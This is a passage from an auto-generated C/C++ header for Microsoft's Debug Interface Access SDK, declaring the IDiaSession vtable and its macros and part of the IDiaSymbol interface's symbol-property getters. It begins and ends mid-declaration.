rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findILOffsetsByVA )( IDiaSession * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFiles )( IDiaSession * This, /* [out] */ IDiaEnumInputAssemblyFiles **ppResult); HRESULT ( STDMETHODCALLTYPE *findInputAssembly )( IDiaSession * This, /* [in] */ DWORD index, /* [out] */ IDiaInputAssemblyFile **ppResult); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyById )( IDiaSession * This, /* [in] */ DWORD uniqueId, /* [out] */ IDiaInputAssemblyFile **ppResult); HRESULT ( STDMETHODCALLTYPE *getFuncMDTokenMapSize )( IDiaSession * This, /* [out] */ DWORD *pcb); HRESULT ( STDMETHODCALLTYPE *getFuncMDTokenMap )( IDiaSession * This, /* [in] */ DWORD cb, /* [out] */ DWORD *pcb, /* [size_is][out] */ BYTE *pb); HRESULT ( STDMETHODCALLTYPE *getTypeMDTokenMapSize )( IDiaSession * This, /* [out] */ DWORD *pcb); HRESULT ( STDMETHODCALLTYPE *getTypeMDTokenMap )( IDiaSession * This, /* [in] */ DWORD cb, /* [out] */ DWORD *pcb, /* [size_is][out] */ BYTE *pb); HRESULT ( STDMETHODCALLTYPE *getNumberOfFunctionFragments_VA )( IDiaSession * This, /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [out] */ DWORD *pNumFragments); HRESULT ( STDMETHODCALLTYPE *getNumberOfFunctionFragments_RVA )( IDiaSession * This, /* [in] */ DWORD rvaFunc, /* [in] */ DWORD cbFunc, /* [out] */ DWORD *pNumFragments); HRESULT ( STDMETHODCALLTYPE *getFunctionFragments_VA )( IDiaSession * This, /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [in] */ DWORD cFragments, /* [size_is][out] */ ULONGLONG *pVaFragment, /* [size_is][out] */ DWORD *pLenFragment); HRESULT ( STDMETHODCALLTYPE *getFunctionFragments_RVA )( IDiaSession * This, /* [in] */ DWORD rvaFunc, /* [in] */ DWORD cbFunc, /* [in] */ DWORD cFragments, /* [size_is][out] */ DWORD *pRvaFragment, /* [size_is][out] */ DWORD *pLenFragment); HRESULT ( STDMETHODCALLTYPE *getExports )( IDiaSession * This, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *getHeapAllocationSites )( IDiaSession * This, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSession * This, /* [in] */ IDiaSymbol *pSymbol, /* [out] */ IDiaInputAssemblyFile **ppResult); END_INTERFACE } IDiaSessionVtbl; interface IDiaSession { CONST_VTBL struct IDiaSessionVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSession_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSession_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSession_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSession_get_loadAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_loadAddress(This,pRetVal) ) #define IDiaSession_put_loadAddress(This,NewVal) \ ( (This)->lpVtbl -> put_loadAddress(This,NewVal) ) #define IDiaSession_get_globalScope(This,pRetVal) \ ( (This)->lpVtbl -> get_globalScope(This,pRetVal) ) #define IDiaSession_getEnumTables(This,ppEnumTables) \ ( (This)->lpVtbl -> getEnumTables(This,ppEnumTables) ) #define IDiaSession_getSymbolsByAddr(This,ppEnumbyAddr) \ ( (This)->lpVtbl -> getSymbolsByAddr(This,ppEnumbyAddr) ) #define IDiaSession_findChildren(This,parent,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,parent,symtag,name,compareFlags,ppResult) ) #define IDiaSession_findChildrenEx(This,parent,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,parent,symtag,name,compareFlags,ppResult) ) #define IDiaSession_findChildrenExByAddr(This,parent,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,parent,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSession_findChildrenExByVA(This,parent,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,parent,symtag,name,compareFlags,va,ppResult) ) #define IDiaSession_findChildrenExByRVA(This,parent,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,parent,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSession_findSymbolByAddr(This,isect,offset,symtag,ppSymbol) \ ( (This)->lpVtbl -> findSymbolByAddr(This,isect,offset,symtag,ppSymbol) ) #define IDiaSession_findSymbolByRVA(This,rva,symtag,ppSymbol) \ ( (This)->lpVtbl -> findSymbolByRVA(This,rva,symtag,ppSymbol) ) #define IDiaSession_findSymbolByVA(This,va,symtag,ppSymbol) \ ( (This)->lpVtbl -> findSymbolByVA(This,va,symtag,ppSymbol) ) #define IDiaSession_findSymbolByToken(This,token,symtag,ppSymbol) \ ( (This)->lpVtbl -> findSymbolByToken(This,token,symtag,ppSymbol) ) #define IDiaSession_symsAreEquiv(This,symbolA,symbolB) \ ( (This)->lpVtbl -> symsAreEquiv(This,symbolA,symbolB) ) #define IDiaSession_symbolById(This,id,ppSymbol) \ ( (This)->lpVtbl -> symbolById(This,id,ppSymbol) ) #define IDiaSession_findSymbolByRVAEx(This,rva,symtag,ppSymbol,displacement) \ ( (This)->lpVtbl -> findSymbolByRVAEx(This,rva,symtag,ppSymbol,displacement) ) #define IDiaSession_findSymbolByVAEx(This,va,symtag,ppSymbol,displacement) \ ( (This)->lpVtbl -> findSymbolByVAEx(This,va,symtag,ppSymbol,displacement) ) #define IDiaSession_findFile(This,pCompiland,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findFile(This,pCompiland,name,compareFlags,ppResult) ) #define IDiaSession_findFileById(This,uniqueId,ppResult) \ ( (This)->lpVtbl -> findFileById(This,uniqueId,ppResult) ) #define IDiaSession_findLines(This,compiland,file,ppResult) \ ( (This)->lpVtbl -> findLines(This,compiland,file,ppResult) ) #define IDiaSession_findLinesByAddr(This,seg,offset,length,ppResult) \ ( (This)->lpVtbl -> findLinesByAddr(This,seg,offset,length,ppResult) ) #define IDiaSession_findLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findLinesByRVA(This,rva,length,ppResult) ) #define IDiaSession_findLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findLinesByVA(This,va,length,ppResult) ) #define IDiaSession_findLinesByLinenum(This,compiland,file,linenum,column,ppResult) \ ( (This)->lpVtbl -> findLinesByLinenum(This,compiland,file,linenum,column,ppResult) ) #define IDiaSession_findInjectedSource(This,srcFile,ppResult) \ ( (This)->lpVtbl -> findInjectedSource(This,srcFile,ppResult) ) #define IDiaSession_getEnumDebugStreams(This,ppEnumDebugStreams) \ ( (This)->lpVtbl -> getEnumDebugStreams(This,ppEnumDebugStreams) ) #define IDiaSession_findInlineFramesByAddr(This,parent,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,parent,isect,offset,ppResult) ) #define IDiaSession_findInlineFramesByRVA(This,parent,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,parent,rva,ppResult) ) #define IDiaSession_findInlineFramesByVA(This,parent,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,parent,va,ppResult) ) #define IDiaSession_findInlineeLines(This,parent,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,parent,ppResult) ) #define IDiaSession_findInlineeLinesByAddr(This,parent,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,parent,isect,offset,length,ppResult) ) #define IDiaSession_findInlineeLinesByRVA(This,parent,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,parent,rva,length,ppResult) ) #define IDiaSession_findInlineeLinesByVA(This,parent,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,parent,va,length,ppResult) ) #define IDiaSession_findInlineeLinesByLinenum(This,compiland,file,linenum,column,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByLinenum(This,compiland,file,linenum,column,ppResult) ) #define IDiaSession_findInlineesByName(This,name,option,ppResult) \ ( (This)->lpVtbl -> findInlineesByName(This,name,option,ppResult) ) #define IDiaSession_findAcceleratorInlineeLinesByLinenum(This,parent,file,linenum,column,ppResult) \ ( (This)->lpVtbl -> findAcceleratorInlineeLinesByLinenum(This,parent,file,linenum,column,ppResult) ) #define IDiaSession_findSymbolsForAcceleratorPointerTag(This,parent,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,parent,tagValue,ppResult) ) #define IDiaSession_findSymbolsByRVAForAcceleratorPointerTag(This,parent,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,parent,tagValue,rva,ppResult) ) #define IDiaSession_findAcceleratorInlineesByName(This,name,option,ppResult) \ ( (This)->lpVtbl -> findAcceleratorInlineesByName(This,name,option,ppResult) ) #define IDiaSession_addressForVA(This,va,pISect,pOffset) \ ( (This)->lpVtbl -> addressForVA(This,va,pISect,pOffset) ) #define IDiaSession_addressForRVA(This,rva,pISect,pOffset) \ ( (This)->lpVtbl -> addressForRVA(This,rva,pISect,pOffset) ) #define IDiaSession_findILOffsetsByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findILOffsetsByAddr(This,isect,offset,length,ppResult) ) #define IDiaSession_findILOffsetsByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findILOffsetsByRVA(This,rva,length,ppResult) ) #define IDiaSession_findILOffsetsByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findILOffsetsByVA(This,va,length,ppResult) ) #define IDiaSession_findInputAssemblyFiles(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFiles(This,ppResult) ) #define IDiaSession_findInputAssembly(This,index,ppResult) \ ( (This)->lpVtbl -> findInputAssembly(This,index,ppResult) ) #define IDiaSession_findInputAssemblyById(This,uniqueId,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyById(This,uniqueId,ppResult) ) #define IDiaSession_getFuncMDTokenMapSize(This,pcb) \ ( (This)->lpVtbl -> getFuncMDTokenMapSize(This,pcb) ) #define IDiaSession_getFuncMDTokenMap(This,cb,pcb,pb) \ ( (This)->lpVtbl -> getFuncMDTokenMap(This,cb,pcb,pb) ) #define IDiaSession_getTypeMDTokenMapSize(This,pcb) \ ( (This)->lpVtbl -> getTypeMDTokenMapSize(This,pcb) ) #define IDiaSession_getTypeMDTokenMap(This,cb,pcb,pb) \ ( (This)->lpVtbl -> getTypeMDTokenMap(This,cb,pcb,pb) ) #define IDiaSession_getNumberOfFunctionFragments_VA(This,vaFunc,cbFunc,pNumFragments) \ ( (This)->lpVtbl -> getNumberOfFunctionFragments_VA(This,vaFunc,cbFunc,pNumFragments) ) #define IDiaSession_getNumberOfFunctionFragments_RVA(This,rvaFunc,cbFunc,pNumFragments) \ ( (This)->lpVtbl -> getNumberOfFunctionFragments_RVA(This,rvaFunc,cbFunc,pNumFragments) ) #define IDiaSession_getFunctionFragments_VA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) \ ( (This)->lpVtbl -> getFunctionFragments_VA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) ) #define IDiaSession_getFunctionFragments_RVA(This,rvaFunc,cbFunc,cFragments,pRvaFragment,pLenFragment) \ ( (This)->lpVtbl -> getFunctionFragments_RVA(This,rvaFunc,cbFunc,cFragments,pRvaFragment,pLenFragment) ) #define IDiaSession_getExports(This,ppResult) \ ( (This)->lpVtbl -> getExports(This,ppResult) ) #define IDiaSession_getHeapAllocationSites(This,ppResult) \ ( (This)->lpVtbl -> getHeapAllocationSites(This,ppResult) ) #define IDiaSession_findInputAssemblyFile(This,pSymbol,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,pSymbol,ppResult) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaSession_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol_INTERFACE_DEFINED__ #define __IDiaSymbol_INTERFACE_DEFINED__ /* interface IDiaSymbol */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("cb787b2f-bd6c-4635-ba52-933126bd2dcd") IDiaSymbol : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_symIndexId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_symTag( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_name( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lexicalParent( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_classParent( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_type( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_dataKind( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_locationType( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_offset( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_slot( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_volatileType( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_constType( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_unalignedType( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_access( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_libraryName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_platform( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_language( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_editAndContinueEnabled( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frontEndMajor( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frontEndMinor( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frontEndBuild( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_backEndMajor( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_backEndMinor( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_backEndBuild( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sourceFileName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_unused( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_thunkOrdinal( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_thisAdjust( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBaseOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtual( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_intro( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_pure( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_callingConvention( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_value( /* [retval][out] */ VARIANT *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_baseType( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_token( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_timeStamp( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_guid( /* [retval][out] */ GUID *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_symbolsFileName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_reference( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_count( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_bitPosition( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_arrayIndexType( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_packed( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_constructor( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_overloadedOperator( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_nested( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasNestedTypes( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasAssignmentOperator( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasCastOperator( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_scoped( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBaseClass( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_indirectVirtualBaseClass( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBasePointerOffset( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualTableShape( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lexicalParentId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_classParentId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_typeId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_arrayIndexTypeId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualTableShapeId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_code( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_function( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_managed( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_msil( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualBaseDispIndex( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_undecoratedName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_age( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_signature( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilerGenerated( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressTaken( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_rank( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lowerBound( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_upperBound( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lowerBoundId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_upperBoundId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE get_dataBytes( /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; virtual HRESULT STDMETHODCALLTYPE findChildren( /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findChildrenEx( /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findChildrenExByAddr( /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findChildrenExByVA( /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findChildrenExByRVA( /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_targetSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_targetOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_targetRelativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_targetVirtualAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_machineType( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_oemId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_oemSymbolId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE get_types( /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes) = 0; virtual HRESULT STDMETHODCALLTYPE get_typeIds( /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_objectPointerType( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_udtKind( /* [retval][out] */ DWORD *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE get_undecoratedNameEx( /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noReturn( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_customCallingConvention( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noInline( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_optimizedCodeDebugInfo( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_notReached( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_interruptReturn( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_farReturn( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isStatic( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasDebugInfo( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isLTCG( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isDataAligned( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasSecurityChecks( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilerName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasAlloca( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasSetJump( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasLongJump( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasInlAsm( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasEH( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasSEH( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT 